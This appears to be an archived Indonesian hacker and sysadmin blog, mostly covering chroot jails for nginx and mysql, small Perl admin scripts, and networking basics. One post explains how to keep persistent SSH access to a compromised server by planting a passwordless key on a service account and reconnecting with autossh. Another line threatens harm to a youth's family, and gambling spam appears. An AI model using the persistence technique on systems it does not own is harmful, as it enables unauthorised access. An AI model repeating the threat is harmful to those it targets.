#include <stdlib.h>
#include <pwd.h>
#include <grp.h>
#include <syslog.h>

int     main(argc, argv)
int     argc;
char **argv;
{
    struct passwd *pwd;

    /*
     * Open a channel to the syslog daemon. Older versions of openlog()
     * require only two arguments.
     */

#ifdef LOG_DAEMON
    (void) openlog(argv[0], LOG_PID | LOG_NDELAY, LOG_DAEMON);
#else
    (void) openlog(argv[0], LOG_PID);
#endif

    /*
     * Require proper amount of arguments. In all cases of error, exit with
     * zero status because we have already reported the problem via syslogd.
     * No need to make inetd complain, too.
     */

    if (argc < 4) {
    syslog(LOG_ERR, "usage: %s path user command", argv[0]);
    return (0);
    }
    /* Must step into the new subtree. */

    if (chdir(argv[1])) {
    syslog(LOG_ERR, "chdir(%s): %m", argv[1]);
    return (0);
    }
    /* The user must be known in the *unrestricted* universe... */

    if ((pwd = getpwnam(argv[2])) == 0) {
    syslog(LOG_ERR, "%s: user unknown", argv[2]);
    return (0);
    }
    /* initgroups() accesses the group file in the unrestricted universe... */

    if (initgroups(pwd->pw_name, pwd->pw_gid) < 0) {
    syslog(LOG_ERR, "initgroups: %m");
    return (0);
    }
    endgrent();

    /* Do the chroot() before giving away root privileges. */

    if (chroot(argv[1])) {
    syslog(LOG_ERR, "chroot(%s): %m", argv[1]);
    return (0);
    }
    /* Switch group id then user id. */

    if (setgid(pwd->pw_gid)) {
    syslog(LOG_ERR, "setgid(%d): %m", pwd->pw_gid);
    return (0);
    }
    if (setuid(pwd->pw_uid)) {
    syslog(LOG_ERR, "setuid(%d): %m", pwd->pw_uid);
    return (0);
    }
    /* In case we still have the /etc/passwd file still open. */

    endpwent();

    /* Run the command and hope for the best. */

    (void) execv(argv[3], argv + 3);
    syslog(LOG_ERR, "%s: %m", argv[3]);
    return (0);
}
[root@godad chrootuid1.3]# cat chrootuid_license
-----BEGIN PGP SIGNED MESSAGE-----

As of July 25, 2001, the text below constitutes the chrootuid license.

/*
* Copyright 2001 by Wietse Venema. All rights reserved. Some individual
* files may be covered by other copyrights.
*
* This material was originally written and compiled by Wietse Venema at
* Eindhoven University of Technology, The Netherlands, in 1990, 1991, 1992,
* 1993, 1994 and 1995.
*
* Later versions are maintained by Wietse Venema at IBM T.J. Watson Research,
* Hawthorne, USA, in 2001.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that this entire copyright notice is
* duplicated in all such copies.
*
* This software is provided "as is" and without any expressed or implied
* warranties, including, without limitation, the implied warranties of
* merchantibility and fitness for any particular purpose.
*/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBO17bvtyA8qbVMny5AQF8zgP+LYWTT4axQNy3aAdr7SAFNcoNAjNNa02f
Oij2zE2SAjIW/g+dEbIdPewPccXzvSoKgbW9EcIIS8Ix958FIYeAPVkFNywvvn8u
ETrpU8KP3SBMdvyk57gLqYDOr+LQvqD6TkkfND5p0++LUPGR/31qjBpRZDSQngWZ
uCuydXF4tec=
=EpPk
-----END PGP SIGNATURE-----
[root@godad chrootuid1.3]# ls
chrootuid.1 chrootuid.c chrootuid_license Makefile README
[root@godad chrootuid1.3]# cat Makefile
# @(#) Makefile 1.2 93/08/12 16:09:29

FILES    = README Makefile chrootuid.c chrootuid.1
CFLAGS    = -O

all:    chrootuid chrootuid.1

chrootuid: chrootuid.c
    $(CC) $(CFLAGS) -o $@ $?

#chrootuid.1: chrootuid.c
#    srctoman $? >$@

shar:    $(FILES)
    @shar $(FILES)

install: chrootuid.1 chrootuid
    cp chrootuid /usr/local/bin
    cp chrootuid.1 /usr/local/man/man1

clean:
    rm -f *.o core chrootuid
[root@godad chrootuid1.3]# ls
chrootuid.1 chrootuid.c chrootuid_license Makefile README
[root@godad chrootuid1.3]# cat README
@(#) README 1.3 2001/07/25 10:15:32

chrootuid - run command in restricted environment

Description
===========

Chrootuid makes it easy to run a network service at low privilege
level and with restricted file system access. In the past I used
this program to run the gopher and www (world-wide web) network
daemons in a restricted environment: the daemons have access only
to their own directory tree, and run under a low-privileged userid.
Nowadays I also use it for proxy servers. The arrangement greatly
reduces the impact of possible loopholes in network software.

Note: for security reasons, chrootuid uses the passwd and group
files from *outside* the chroot area. This idea was suggested by
Douglas Schales of Texas A&M University, now with IBM Research.

This software was initially released in 1993. However, chrootuid
is still being used after all those years, so I have released a
slightly updated version with a BSD-style license. The examples
below are still the original ones. Although the systems don't exist
anymore, the same ideas still apply.

    Wietse Venema
    wietse@porcupine.org
    IBM T.J. Watson Research Center
    Hawthorne, USA

Installation
============

The source of the chrootuid program is small and easy to verify. In
order to build the program, run "make". If it compiles OK, edit the
destination pathnames in the Makefile and do a "make install".

Important: chrootuid should *not* be installed set-uid.

Using the chrootuid program
===========================

The use of the chrootuid program will be illustrated with the gopher
service. The examples are easily adapted to www (world-wide web) or any
other network service.

In the inetd.conf file, make a gopher entry like this:

    gopher stream tcp   nowait root /usr/local/lib/gopherd gopherd

If you like to run the daemon under control of my tcp/ip daemon
wrapper, use the following entry:

    gopher stream tcp   nowait root /some/where/tcpd /usr/local/lib/gopherd

On some systems you will have to omit the "root" field, because all
daemons are executed as root by default.

The file /usr/local/lib/gopherd should be a shell script that is
maintained by the superuser, because inetd runs the script with root
privilege. It is this script that runs the real gopher daemon, as an
unprivileged process, in a restricted environment. Of course you can
specify any other pathname for the script, as long as it is fully
controlled by the superuser.

    #!/bin/sh

    exec /usr/local/bin/chrootuid /some/where/gopher nobody \
        /bin/gopherd -I -l /tmp/gopher.log \
                        -o /bin/gopherd.conf \
                     -c -C /gopherdata 70

I'll describe the contents of this script in some detail:

- Instead of /usr/local/bin/chrootuid, specify the absolute path to the
installed chrootuid executable. The program is executed by root so the
path should be fully controlled by the super user.

- Instead of /some/where/gopher, specify the absolute path to your
gopher directory tree. The gopher daemon will have access only to files
within this subtree. This arrangement is similar to anonymous FTP.

- The gopher daemon will be executed with the privileges of the "nobody"
account. You can specify any unprivileged account, as long as it does
not own any files etc. within the gopher directory tree. The account
info will be extracted from the regular password database, so there is
no need for passwd or group files below the gopher directory tree.

- "/bin/gopherd -I -l ..." is the command that will be executed, after
access to the file system has been restricted to the gopher directory
tree, and after privileges have been reduced to those of "nobody" (or
whatever account name you choose). All path names should be absolute
with respect to the root of the gopher directory tree. Thus,
/bin/gopherd corresponds to /some/where/gopher/bin/gopherd.

On systems with shared libraries it will be necessary to set up the
appropriate files in the gopher directory tree. The appendix below
shows [a slightly edited version of] what we have. It is very similar
to what one has to set up for anonymous FTP, except that no passwd or
group files are needed.

Finally, chrootuid reports all problems to the syslog daemon. Have a
look at your syslog.conf file if you don't know where the errors are
logged.

Appendix: sample restricted gopher subtree
==========================================

This example is a slightly edited version of own gopher subtree. Some
details (shared libs, DNS, and timezone stuff) are specific to SunOS;
hints are given for Ultrix 4.x.

The restricted gopher subtree is very similar to the tree used for
anonymous ftp, except that no passwd or group files are needed. The
example assumes that the tree is located at /some/where/gopher, which
will sometimes be referred to as ~gopher for brevity.

SunOS notes: the shared libraries in this example are specific to
SunOS 4.1.1. What you will need depends on the OS release and on the
compiler used to build the gopher executable (do `ldd gopherd' to find
out; you'll always need the ld.so runtime linker, though). The example
assumes that you are running DNS on top of NIS. Otherwise, you will
need a ~gopher/etc/resolv.conf file.

Ultrix notes: you will need the following files in ~gopher/etc: hosts,
resolv.conf, svc.conf, svcorder. Just copy them from a DNS client host.

Other systems: it may be necessary to install a ~gopher/etc/resolv.conf
file so that gopherd can find the domain name server (DNS).

It is convenient to have a symlink ~gopher/some/where/gopher -> ../..
so that old pathnames keep working after the installation of chrootuid.

Important: make sure that no files etc. are owned by the unprivileged
account ("nobody" or whatever you chose). The only exception that we
permit is the gopherd logfile, because no program depends on it.

~gopher:
drwxr-sr-x 2 exp           512 Aug 12 13:33 bin
dr-xr-sr-x 2 exp           512 Oct 12 1992 dev
drwxr-sr-x 9 exp           512 Aug 9 12:35 gopherdata
dr-xr-sr-x 2 exp           512 Apr 22 14:24 some
drwxrwsrwt 2 exp           512 Aug 12 13:48 tmp
dr-xr-sr-x 4 exp           512 Jan 25 1993 usr

~gopher/bin:
-rwx--x--x 1 exp        409600 Aug 12 13:39 gopherd
-rw-r--r-- 1 exp          2299 Jun 15 10:12 gopherd.conf

~gopher/dev:
crw-rw-rw- 1 exp        3, 12 Oct 12 1992 zero

~gopher/gopherdata:
<our information data base omitted for brevity>

~gopher/some:
dr-xr-xr-x 2 exp           512 Apr 22 14:24 where

~gopher/some/where:
lrwxrwxrwx 1 exp             6 Apr 22 14:24 gopher -> ../../

~gopher/tmp:
-rw-r--r-- 1 nobody     220563 Aug 12 14:46 gopher.log

~gopher/usr:
dr-xr-xr-x 2 exp           512 Oct 12 1992 lib
dr-xr-xr-x 3 exp           512 Jan 21 1993 share

~gopher/usr/lib:
-r-xr-xr-x 1 exp         40960 Oct 11 1990 ld.so
-r-xr-xr-x 1 exp        516096 Oct 12 1990 libc.so.1.6

~gopher/usr/share:
dr-xr-xr-x 3 exp           512 Jan 21 1993 lib

~gopher/usr/share/lib:
dr-xr-xr-x 2 exp           512 Jan 21 1993 zoneinfo

~gopher/usr/share/lib/zoneinfo:
-r--r--r-- 1 exp           590 Oct 11 1990 MET
-r--r--r-- 1 exp           590 Oct 11 1990 localtime
[root@godad chrootuid1.3]#
====

bersih kan ??? no backdoor ok ???

install !!!

====
[root@godad chrootuid1.3]# make
cc -O -o chrootuid chrootuid.c
[root@godad chrootuid1.3]# cp chrootuid /usr/local/sbin/chrootuid
=====

====================
[root@godad chrootuid1.3]# cat /etc/init.d/mysqld_chroot
#!/bin/sh
CHROOT_MYSQL=/chroot/mysql
CHROOT_PHP=/chroot/nginx
SOCKET=/tmp/mysql.sock
MYSQLD=/usr/local/mysql/libexec/mysqld
PIDFILE=/usr/local/mysql/var/`hostname`.pid
CHROOTUID=/usr/local/sbin/chrootuid

echo -n " mysql"

case "$1" in
start)
        rm -rf ${CHROOT_PHP}/${SOCKET}
        nohup ${CHROOTUID} ${CHROOT_MYSQL} mysql ${MYSQLD} >/dev/null 2>&1 &
        sleep 5 && ln ${CHROOT_MYSQL}/${SOCKET} ${CHROOT_PHP}/${SOCKET}
        ;;
stop)
        kill `cat ${CHROOT_MYSQL}/${PIDFILE}`
        rm -rf ${CHROOT_MYSQL}/${SOCKET}
        ;;
*)
        echo ""
        echo "Usage: `basename $0` {start|stop}" >&2
        exit 64
        ;;
esac

exit 0
==========================

[install nginx-1.0.11 di dalam chroot jail]

2012-03-02T13:50:00.003-08:00

[install nginx-1.0.11 di dalam chroot jail]

by: ev1lut10n

download nginx-1.0.11

install :

===================
[root@godaddy_dedicated ~]# cd nginx-1.0.11
[root@godaddy_dedicated nginx-1.0.11]# cd nginx-1.0.11
[root@godaddy_dedicated nginx-1.0.11]# ./configure --with-http_ssl_module --without-mail_pop3_module --without-mail_imap_module --without-mail_smtp_module --with-http_stub_status_module
[root@godaddy_dedicated nginx-1.0.11]# make && make install
=================

siapkan susunan direktori untuk chroot
====
[root@godaddy_dedicated ~ conf]# D=/chroot/nginx
[root@godaddy_dedicated ~ conf]# mkdir -p $D
[root@godaddy_dedicated ~ conf]# mkdir -p $D/etc
[root@godaddy_dedicated ~ conf]# mkdir -p $D/dev
[root@godaddy_dedicated ~ conf]# mkdir -p $D/var
[root@godaddy_dedicated ~ conf]# mkdir -p $D/usr
[root@godaddy_dedicated ~ conf]# mkdir -p $D/usr/local/nginx
[root@godaddy_dedicated ~ conf]# mkdir -p $D/tmp
[root@godaddy_dedicated ~ conf]# chmod 1777 $D/tmp
[root@godaddy_dedicated ~ conf]# mkdir -p $D/var/tmp
[root@godaddy_dedicated ~ conf]# chmod 1777 $D/var/tmp
[root@godaddy_dedicated ~ conf]# mkdir -p $D/lib64
===

buat blok untuk special char & file
====
[root@godaddy_dedicated ~ chroot]# ls -l /dev/{null,random,urandom}
crw-rw-rw- 1 root root 1, 3 Mar 1 16:42 /dev/null
crw-rw-rw- 1 root root 1, 8 Mar 1 16:42 /dev/random
cr--r--r-- 1 root root 1, 9 Mar 1 16:42 /dev/urandom
====

melihat tampilan di atas kita siapkan dg mknod:
===========
[root@godaddy_dedicated ~ chroot]# mknod -m 0666 $D/dev/null c 1 3
[root@godaddy_dedicated ~ chroot]# mknod -m 0666 $D/dev/random c 1 8
[root@godaddy_dedicated ~ chroot]# mknod -m 0444 $D/dev/urandom c 1 9

========

cek shared library:
=====
[root@godaddy_dedicated ~ chroot]# updatedb
[root@godaddy_dedicated ~ chroot]# locate nginx | grep bin
/root/nginx-1.0.12/objs/src/http/ngx_http_upstream_round_robin.o
/root/nginx-1.0.12/src/http/ngx_http_upstream_round_robin.c
/root/nginx-1.0.12/src/http/ngx_http_upstream_round_robin.h
/usr/local/nginx/sbin
/usr/local/nginx/sbin/nginx
[root@godaddy_dedicated ~ chroot]# ldd /usr/local/nginx/sbin/nginx
    linux-vdso.so.1 => (0x00007fff297fd000)
    libpthread.so.0 => /lib64/libpthread.so.0 (0x000000399f200000)
    libcrypt.so.1 => /lib64/libcrypt.so.1 (0x00000039a0e00000)
    libpcre.so.0 => /lib64/libpcre.so.0 (0x00000039a2600000)
    libssl.so.6 => /lib64/libssl.so.6 (0x0000003750400000)
    libcrypto.so.6 => /lib64/libcrypto.so.6 (0x00000039a2200000)
    libdl.so.2 => /lib64/libdl.so.2 (0x000000399ee00000)
    libz.so.1 => /lib64/libz.so.1 (0x000000399fa00000)
    libc.so.6 => /lib64/libc.so.6 (0x000000399ea00000)
    /lib64/ld-linux-x86-64.so.2 (0x000000399e600000)
    libgssapi_krb5.so.2 => /usr/lib64/libgssapi_krb5.so.2 (0x00000039a3a00000)
    libkrb5.so.3 => /usr/lib64/libkrb5.so.3 (0x00000039a3600000)
    libcom_err.so.2 => /lib64/libcom_err.so.2 (0x00000039a2a00000)
    libk5crypto.so.3 => /usr/lib64/libk5crypto.so.3 (0x00000039a3200000)
    libkrb5support.so.0 => /usr/lib64/libkrb5support.so.0 (0x00000039a2e00000)
    libkeyutils.so.1 => /lib64/libkeyutils.so.1 (0x00000039a1a00000)
    libresolv.so.2 => /lib64/libresolv.so.2 (0x00000039a1600000)
    libselinux.so.1 => /lib64/libselinux.so.1 (0x000000399fe00000)
    libsepol.so.1 => /lib64/libsepol.so.1 (0x00000039a0200000)
[root@godaddy_dedicated ~ chroot]#

===========

========
[root@godaddy_dedicated ~ chroot]# cp -fv /etc/{group,prelink.cache,services,adjtime,shells,gshadow,shadow,hosts.deny,localtime,nsswitch.conf,nscd.conf,prelink.conf,protocols,hosts,passwd,ld.so.cache,ld.so.conf,resolv.conf,host.conf} $D/etc
=====
[root@godaddy_dedicated ~ chroot]# cp -avr /etc/{ld.so.conf.d,prelink.conf.d} $D/etc
==========

siapkan skrip utk mengkopi shared library di atas:
====
#!/usr/bin/perl
#fetch_nginx_so.pl
#made by : ev1lut10n
open(PROSES_MYSQL, "ldd   /usr/local/nginx/sbin/nginx | grep lib |");
while (<PROSES_MYSQL>)
{
$tampilan_proses .= $_;
($nama_lib,$sign,$path_lib,$mem_load) = split;
if($path_lib=~/lib/)
   {

        system("cp $path_lib /chroot/nginx$path_lib");

   }

                          }
close(PROSES_MYSQL);
=====

====
[root@godaddy_dedicated ~ chroot]# perl fetch_nginx_so.pl
cp: cannot create regular file `/chroot/nginx/usr/lib64/libgssapi_krb5.so.2': No such file or directory
cp: cannot create regular file `/chroot/nginx/usr/lib64/libkrb5.so.3': No such file or directory
cp: cannot create regular file `/chroot/nginx/usr/lib64/libk5crypto.so.3': No such file or directory
cp: cannot create regular file `/chroot/nginx/usr/lib64/libkrb5support.so.0': No such file or directory
[root@godaddy_dedicated ~ chroot]# locate libgssapi_krb5.so.2
[root@godaddy_dedicated ~ chroot]# cd /chroot/nginx/usr/
[root@godaddy_dedicated ~ usr]# mkdir lib64
[root@godaddy_dedicated ~ chroot]# perl fetch_nginx_so.pl
======

kopikan ld-linux-x86-64.so.2 secara manual:
====
[root@godaddy_dedicated ~ chroot]# cp   /lib64/ld-linux-x86-64.so.2    /chroot/nginx/lib64/
==

test apakah nginx sedang berjalan:
===[root@godaddy_dedicated ~ chroot]# telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.secureserver.net (127.0.0.1).
Escape character is '^]'.
Connection closed by foreign host.
[root@godaddy_dedicated ~ chroot]#
===========

jika terkoneksi matikan:
====
[root@godaddy_dedicated ~ chroot]# killall -9 nginx
====

start nginx:
=========
/usr/sbin/chroot /chroot/nginx /usr/local/nginx/sbin/nginx
=========

fetch_nginx_so.pl

2012-03-02T09:33:00.001-08:00

#!/usr/bin/perl
#fetch_nginx_so.pl
#made by : ev1lut10n
open(PROSES_MYSQL, "ldd   /usr/local/sbin/nginx | grep lib |");
while (<PROSES_MYSQL>)
{
$tampilan_proses .= $_;
($nama_lib,$sign,$path_lib,$mem_load) = split;
if($path_lib=~/lib/)
   {

        system ("cp $path_lib /chroot/nginx$path_lib");

   }

                          }
close(PROSES_MYSQL);

heh bocah ingusan

2012-03-01T22:52:00.002-08:00

maen2 ma mafia suatu saat bisa celaka, ampe keluarganya bisa satu2 bisa celaka ni anak

getnamedautoresolve.pl

2012-02-29T15:13:00.001-08:00

#/usr/bin/perl -W
#made by: ev1lut10n
#a simple tool for sysadmin to autoresolve all domains on his server
use Socket;

sub getdomains()
{
   system("rm -f domain_lists.txt");
open(PROSES_MYSQL, "ls /var/named |");
while (<PROSES_MYSQL>)
           {
                $tampilan_proses = $_;
                 $tampilan_proses=str_replace('.db','', $tampilan_proses);
           $p=length($tampilan_proses);
           if($p>5)
           {
              system("echo '$tampilan_proses'>> domain_lists.txt");
           }

       }
close(PROSES_MYSQL);

}

sub autoresolve()
{

   open(PASSWORD, "<domain_lists.txt");
         my(@lines2) = <PASSWORD>;
         @lines2 = sort(@lines2);
         my($pass);
         foreach $pass (@lines2)
           {
           print $pass;
                  chomp($pass);
            $p=length($pass);
           if($p>5)
           {
               eval { $address = inet_ntoa(inet_aton($pass)); };
           print $pass." resolved as : ".$address."\n";
           }
       }
       close(PASSWORD);
}



sub str_replace {
eval
{
my $replace_this = shift;
    my $with_this = shift;
    my $string   = shift;

    my $length = length($string);
    my $target = length($replace_this);

    for(my $i=0; $i<$length - $target + 1; $i++) {
        if(substr($string,$i,$target) eq $replace_this) {
            $string = substr($string,0,$i) . $with_this . substr($string,$i+$target);
            return $string; #Comment this if you what a global replace
        }
    }
    return $string;
}
}

getdomains();
autoresolve();

[the spirit of the dare devil] - martial art is an art of self defense

2012-02-28T15:40:00.001-08:00

as my master always teach me to defend my self i will never let my self without any defense.

Model 7 layer osi vs Model TCP / IP

2012-02-28T02:29:00.000-08:00

written by: ev1lut10n

"Dedicated for : Manusia Biasa Team"

Dalam dunia jaringan ada dua model jaringan yang telah melegenda yaitu: "Model 7 Layer OSI" dan "Model TCP/IP"

[Model 7 Layer OSI]

Layer 7 OSI dikembangkan oleh Organisasi Internasional untuk Standarisasi (ISO), model jaringan ini merupakan sistem yang terdiri dari 7 kue lapis:

----------------------------------------------------------------------------------
layer 7 : application layer, Lapisan 7: lapisan aplikasi
layer ini paling depan berinteraksi dg user untuk mendefinisikan proses user dengan network.
contoh tcp / ip protokol pada layer ini: FTP, Gopher, HTTP, SMTP, Telnet , dns , dll
-------------------------------------------------------------------------------------
layer 6 : presentation layer, Lapisan 6: lapisan presentasi,
layer ini merupakan tempatnya data dienkode / dienkrip , misal pada layer inilah dilakukan encode untuk file2 seperti jpg, mpg, dll. misal enkode untuk file teks akan berbeda dengan file mpg
contoh : ssl, smb , ncp, mime, tls
-------------------------------------------------------------------------------------
- layer 5 : session layer, Lapisan 5: lapisan sesi,
pada layer inilah tempatnya user session diatur.
contoh: pptp, netbios
-------------------------------------------------------------------------------------
- layer 4 : transport layer, ex : tcp,udp,sctp, dccp - Lapisan 4: transport layer (internetwork connectivity)
layer ini mendefinisikan bagaimana sistem atau mekanisme kontrol data / paket
contoh: tcp, udp, SCTP (stream control transmission protocol)
-------------------------------------------------------------------------------------
- layer 3 : network layer,ex : ip , icmp, igmp - Lapisan 3: lapisan jaringan (internetwork connectivity)
di layer ini akan ditentukan bagaimana paket akan dirutekan
contoh: IP, ICMP, IGMP, ipsec, ospf
-------------------------------------------------------------------------------------
- layer 2 : data link layer, ex: arp, atm - Lapisan 2: data link layer
di layer ini alamat ip akan ditranslasikan menjadi bentuk yang bisa dimengerti oleh physical layer
contoh: arp, atm, llc, PPP, SBTV SLIP, PPTP
-------------------------------------------------------------------------------------
- layer 1 : physical layer. - Lapisan 1: lapisan fisik.
Di sinilah bentuk fisik dari perangkat jaringan.
misal: kartu jaringan , hub , dll

sebenarnya masing 2 layer memiliki fungsi2 lebih dari yang dijelaskan di atas tapi utk mempermudah bahasan hanya akan saya singkat seperti di atas.

[Model TCP / IP]

Model tcp / ip memiliki 4 lapisan :
- Application Layer
- Transport Layer
- Internet Layer
- Network Access Layer

[Kapsul Enkapsulasi]

proses pengkapsulan dalam model jaringan bisa kita sebut sbg proses penambahan header tiap kali data / paket naik 1 layer.

Untuk lebih jelasnya tentang enkapsulasi paket perhatikan gambar dibawah ini:

misal untuk suatu koneksi tcp:
- pada layer 7 dan layer ke 6 merupakan proses konversi data dari user
- dari session layer setelah turun 1 layer ke bawah yaitu di transport layer akan ditambahkan header tcp
- setelah itu data yang turun 1 layer lagi ke bawah, ketika di berada di network layer dia akan ditambahkan ip header.
- turun 1 layer lagi ke bawah tepatnya di data link layer akan ditambahkan header2 berupa :
MAC header, LLC Header dan FCS
- Turun 1 layer lagi data dikonversi ke dalam bentuk biner menjadi bentuk yang bisa dimengerti oleh physical layer.

[Persisten SSH dengan skrip autossh dan memanfaatkan akun tanpa password di server yang diowned]

2012-02-27T19:57:00.000-08:00

[Persisten SSH dengan skrip autossh dan memanfaatkan akun tanpa password di server yang diowned]
by: ev1ut10n

Dedicated to: "Manusia Biasa Team"
thanks to: devilzc0de, antijasakom , manusia biasa team and jasakom and all my bro and sista

install skrip autossh untuk mesin debian:
=================
#apt-get install autossh
================

jika berhasil maka akan tercipta skrip shell autossh biasanya di /usr/bin/:
======
#!/bin/sh
# little wrapper to choose a random port for autossh, falling back to $fallback_port

fallback_port="21021"
tcpstat="/proc/net/tcp"

# take an hex port and check whether it is in use (i.e. locally bound) in
# $tcpstat
# unix command semantics: if in use return 0 else return 1
port_in_use() {
    if egrep -q "^[0-9 ]+: [0-9A-F]{8}:$1" $tcpstat ; then
        return 0
    else
        return 1
    fi
}

echo "$@" | egrep -q -- '-f?M ?[0-9]+' # backward compatibility, skip guess if -M is passed

if [ $? -gt 0 ] && [ -z "$AUTOSSH_PORT" ]; then
    portguess=""
    if [ -r "/dev/urandom" ] && [ -r "$tcpstat" ]; then
        for t in $(seq 1 42); do
            # get a random hex
            randport=$( od -x -N2 -An /dev/urandom | tr -d ' ' )

            # increase it a little "bit"
            randport=$( /usr/bin/printf "%04x" $(( 0x$randport | 0x8000 )) )
            randport_1=$( /usr/bin/printf "%04x" $(( 0x$randport + 1 )) )

            # check if port is in use, possibile race condition between here
            # and the exec
            if ! port_in_use $randport && ! port_in_use $randport_1; then
                portguess=$(( 0x$randport ))
                break
            fi
        done
    fi

    if [ -z "$portguess" ]; then
        fallback=$( /usr/bin/printf "%04x" $fallback_port )
        fallback_1=$( /usr/bin/printf "%04x" $(( 0x$fallback + 1 )) )
        if ! port_in_use $fallback && ! port_in_use $fallback_1; then
            portguess=$fallback_port
        else
            echo "unable to find a suitable tunnel port"
            exit 1
        fi
    fi

    export AUTOSSH_PORT="$portguess"
fi
====================

selanjutnya siapkan public key ssh ( tanpa password )
===================================
root@ev1lut10n-Vostro1310:/home/ev1lut10n# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
90:94:b1:22:20:69:cc:99:fa:dd:68:ab:9e:3b:9b:01 root@ev1lut10n-Vostro1310
The key's randomart image is:
+--[ RSA 2048]----+
|=.o   oo         |
|oB   ..o         |
|o . . +          |
|. . . .         |
|E. . o S        |
| .. + .          |
| .. .           |
| .+.            |
| .B=             |
+-----------------+

========================

setelah itu lakukan copy public key tadi ke server yang di0wn3d (di sini port ssh non default yaitud 5669):
=======
root@ev1lut10n-Vostro1310:/home/ev1lut10n# ssh-copy-id -i /root/.ssh/id_rsa.pub "clamav@hackerbox.org -p 5669"
clamav@81.15.18.2's password:
Now try logging into the machine, with "ssh 'clamav@hackerbox.org -p 5669'", and check in:

.ssh/authorized_keys

to make sure we haven't added extra keys that you weren't expecting.
=======

selanjutnya kita bisa gunakan autossh:
================
root@ev1lut10n-Vostro1310:/home/ev1lut10n# autossh -M 3339 clamav@hackerbox.org -p 5669
Welcome to motd of hackerbox.org
Last login: Tue Feb 28 03:34:49 2012 from 112.215.65.196
mv: cannot stat `secure.hm': No such file or directory
mv: cannot stat `xferlog.hm': No such file or directory
mv: cannot stat `maillog.hm': No such file or directory
mv: cannot stat `warn.hm': No such file or directory
mv: cannot stat `mail.hm': No such file or directory
mv: cannot stat `httpda.hm': No such file or directory
mv: cannot stat `httpde.hm': No such file or directory
sh-3.2#
===============

ok mungkin anda bertanya2 mengapa teknik ini digunakan?
jawabanya check it out:

========================
root@ev1lut10n-Vostro1310:~# netstat -a | grep 3339
tcp        0      0 localhost.localdom:3339 *:*                     LISTEN
tcp6       0      0 ev1lut10n-Vostro13:3339 [::]:*                  LISTEN
=========================

Ekstrak rpm di slackware 13.37 dengan cpio

2012-02-27T18:37:00.001-08:00

[Ekstrak rpm di slackware 13.37 dengan cpio]

by: ev1lut10n
dedicated to : "Manusia biasa Team"
thanks to: devilzc0de, antijasakom , manusia biasa team and jasakom and all my buddy

slackware 13.37 merupakan versi slackware favorit penulis. oleh karena itu judul tulisan kali ini berhubungan dengan slackware versi 13.37

untuk mengekstrak rpm di slackware 13.37 diperlukan cpio-2.11

cpio-2.11-i486-1.txz bisa dicari di pkgs.org

lalu install dengan installpkg:
======================
root@server:~/elf# installpkg cpio-2.11-i486-1.txz
======================

------------------------------
root@server:~/elf# man cpio
WARNING: terminal is not fully functional
CPIO(1L)                                                                                                                            CPIO(1L)

NAME
       cpio - copy files to and from archives

SYNOPSIS
       cpio   {-o|--create} [-0acvABLV] [-C bytes] [-H format] [-M message] [-O [[user@]host:]archive] [-F [[user@]host:]archive]
       [--file=[[user@]host:]archive] [--format=format] [--message=message] [--null] [--reset-access-time] [--verbose] [--dot] [--append]
       [--block-size=blocks] [--dereference] [--io-size=bytes] [--quiet] [--force-local] [--rsh-command=command] [--help] [--version] <
       name-list [> archive]

------------------------------

untuk mengekstrak file rpm gunakan rpm2cpio. misal:

===========
root@server:~/elf# rpm2cpio kernel-headers-2.6.18-274.3.1.el5.i386.rpm | cpio -idmv
==============

agen bola
agen bola
agen bola sbobet euro 2012

simple perl script for checking httpd connection and auto restart

2012-02-27T03:43:00.003-08:00

httpdprocwatcher.pl

==============
#!/usr/bin/perl -W
#gopher://sdf.org/0/users/wisdomc0/code_perl/httpdwatcher.pl
#simple max con httpd restarter
#made by: ev1lut10n
#thanks to: x-hack, danzel, flyff666,p4,smith,superman, raka and all my bro
#greets: cakill, fadli and whitehat
sub paksa_fork()
{
    defined(my $pid = fork);
        if ($pid)
        {
            exit;
        }
        else
        {
                      for($i=1;$i<3;$i++)
               {
              defined(my $pid = fork);
                if ($pid)
                   {
                exit;
                last;
                   }
                }
        }

}
paksa_fork();
for(;;)
{
$jum_runner=0;
                                     open(PROSES_MYSQL, "/bin/ps aux |");
                                     while (<PROSES_MYSQL>)
                                            {
                                                $tampilan_proses .= $_;

($uid,$pid,$cpu,$mem,$vsz,$rss,$tty,$stat,$start,$time,$command,$rest) = split;
                                                if($rest=~/httpd/ || $command=~/httpd/)
                                                  {

                                                       $jum_runner++;

                                                  }

                                             }

                         close(PROSES_MYSQL);
if($jum_runner>20)
{
        system("/etc/init.d/./httpd restart");



}
else
{

    print "\nnormal :$jum_runner \n";
}

}
===================

instalasi mod_qos 10.2 untuk server apache oye nan unyu2

2012-02-27T02:44:00.000-08:00

dedicated to: "Manusia Biasa Team"
thanks: all devilzc0de, jasakom and antijasakom crews and members

by: ev1lut10n aka meki meki pikachu
"perhaitan !!! path module di tulisan ini : /usr/local/apache/modules kudu musti disesuaikeun dengan instalasssy di server ente gan"

mod_qos merupakeun modul apache buat anti dddddoooozzz
artikel berikut ini harus dilakukan dengan jari2 yang cepat dan lincah

pertama2
download mod_qos dari sourceforge oye:lakukeun weget dengan cepat dan lincah:
=====================

root@server [~/anti_ddos]# wget http://downloads.sourceforge.net/project/mod-qos/mod_qos-10.2.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fmod-qos%2F&ts=1330338738&use_mirror=nchc
[1] 17697
[2] 17698
--2012-02-27 05:33:39-- http://downloads.sourceforge.net/project/mod-qos/mod_qos-10.2.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fmod-qos%2F
Resolving downloads.sourceforge.net... root@server [~/anti_ddos]# 216.34.181.59
Connecting to downloads.sourceforge.net|216.34.181.59|:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: http://superb-sea2.dl.sourceforge.net/project/mod-qos/mod_qos-10.2.tar.gz [following]
--2012-02-27 05:33:39-- http://superb-sea2.dl.sourceforge.net/project/mod-qos/mod_qos-10.2.tar.gz
Resolving superb-sea2.dl.sourceforge.net... 209.160.57.180
Connecting to superb-sea2.dl.sourceforge.net|209.160.57.180|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 427678 (418K) [application/x-gzip]
